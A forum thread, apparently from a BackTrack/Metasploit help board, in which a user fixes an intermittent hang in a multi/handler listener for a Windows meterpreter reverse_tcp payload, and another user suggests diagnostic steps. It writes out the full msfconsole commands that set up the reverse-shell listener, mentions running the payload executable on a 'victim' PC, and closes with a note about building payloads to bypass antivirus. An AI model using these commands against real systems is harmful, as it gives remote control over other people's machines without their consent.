msfcli / msfconsole timouts

[TAPE]

Just putting this out there, I dont think it is due to incorrect commands, yet I have seen it happen on several occasions, so your advice / information greatly appreciated.

After having created and succesfully obtained a shell or a meterpreter reverse_tcp session, I have noticed that when closing the exploit and trying to start it up again, it seems to (on occasion) neglect connections.

So it basically hangs at the stage of ;

msf exploit(handler) > exploit
Started reverse handler on 192.168.1.105:5632
Starting the payload handler...

This after having being able to use it before.

If I then reboot backtrack, re-issue the same commands to listen for the incoming connection then
all is fine and dandy and the shell / meterpreter works as it should, accepting connections.
So I must be missing something, just not sure where to look.

Any help greatly appreciated.

[hhmatt]

Just to be sure, are you executing the payload on the victim again after setting up your listener?
And just closing the terminal and restarting msfconsole doesn't affect it?

[TAPE]

That is correct.

So starting the listner, executing the executable on victim PC.
Getting the meterpreter session OK.

After having done the testing I wanted, close it all down.

Then after a while, restarting the process as above;
>start listner
>start payload on victim machine

The payload handler never goes to the sending stage. Just stays on listening stage.


Just looks like the handler is not correctly receiving.

When restarting backtrack, all is good again.

The problem is I have not been able to consistently reproduce this situation.
Sometimes it happens sometimes it doesnt, so I was hoping it was something
small I was missing, some kind of refreshing / reloading issue

If I manage to figure out how to reproduce accurately I will post back.


Thanks !

[hhmatt]

You need to make sure that when you setup the listener that you are remembering to setup the proper IP and port. This would be my first guess as to why the problem you are experiencing is intermittent.

If you are sure everything is correct and still experience issues you may want to try to flush your iptables. Also if you are getting an IP address via DHCP make sure your IP matches your payload.

Do you have any other issues with your network connection after running the payload?

[TAPE]

Yep, very sure the commands are correct, I did another test today, using ./msfconsole
Using (arrow up) to reissue the commands to ensure I was not making a simple typo.

I tried with different EXITFUNCs as well which I hadnt last time.

Basically all was hunky dory, had retried it at least 6 times, and all was good.
With retrying I mean;
Stopping meterpreter, the multi/handler and exiting msfconsole
Ensuring the payload is no longer running on victim


Then I left it for a while (+- 30/45min)
then tried again and the same problem as before;
Metasploit not responding to the syn packet being sent by victim.

The listner started the same way as before in msfconsole;

 
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp 
set lhost 192.168.1.105
set lport 5632 
set exitfunc seh
exploit

reverse_tcp.exe of course only executed AFTER the multi/handler listening.


Very strange, Internet is working normally on the IP, connection seems good.

Might try to flush the iptables though and see if that helps.

If I figure out what it is I will revert, but no ideas so far..


Thanks for your answers and should you come up with any further ideas, please let me know !

[hhmatt]

There is a lot more you can do to diagnose the issue.

1. Create a new binary and run it on the victim machine. Try to make this one exactly as you made the last. (For diagnostic purposes I would check the hash before and after the file transfer to ensure no corruption is taking place.)

2. Make a new binary payload and change the port. Make sure to use the updated port on your listener.

3. Use a new payload. There are several different types of payloads and there are actually 2 types of reverse tcp payloads you can try.

4. Try a new victim machine if you have one available. Let's make sure it is not the hardware that is causing this issue.

5. (Optional) - Open up a packet sniffer and watch the packet flow during a successful attack and compare it to your unsuccessful attack. This usually works out best when you cut all LAN traffic down to a minimum. Only do this if you are comfortable with wireshark and packet reading.

6. Double check metasploit's website for known bugs that may relate to this issue.

7. Escalate the problem. Metasploit has a IRC chat channel or you can use their website to report a bug. Make sure to explain carefully all the steps you have taken to attempt to repair/diagnose the issue.
Metasploit Penetration Testing Framework - Support

When I have some extra time tonight I will also run a few payload tests on my end to see if I experience the same issue. You may want to hold off on step #7 at least until you can narrow the issue down.

[TAPE]

Thanks for your suggestions,


The thing is that it all works great.
Just sometimes after having tested it, and wanting to test again with a decent time limit in the middle, it doesnt seem to
want to accept the connection from victim pc.

I am pretty sure it has nothing to do with the executables, I always do a quick netstat on the victim PC to see whether it is actually sending anything.

Have been able to reproduce the same problem on 3 systems. But for the life of me can't narrow it down to anything.

When I have a bit more time I will try to do a more focussed and documented testing following (some of) your suggestions.

Thanks again for the help !


Edit
-----
Come to think of it, it may be an issue with my VM, but I am pretty sure I had the same thing on my BT4 netbook as well.

I will make a couple of new exes and do some testing..

Edit1
------
At the moment creating payloads able to bypass AV, and have not been able to re-create the same error / non-response.

Situation and issue remains on hold for the time being.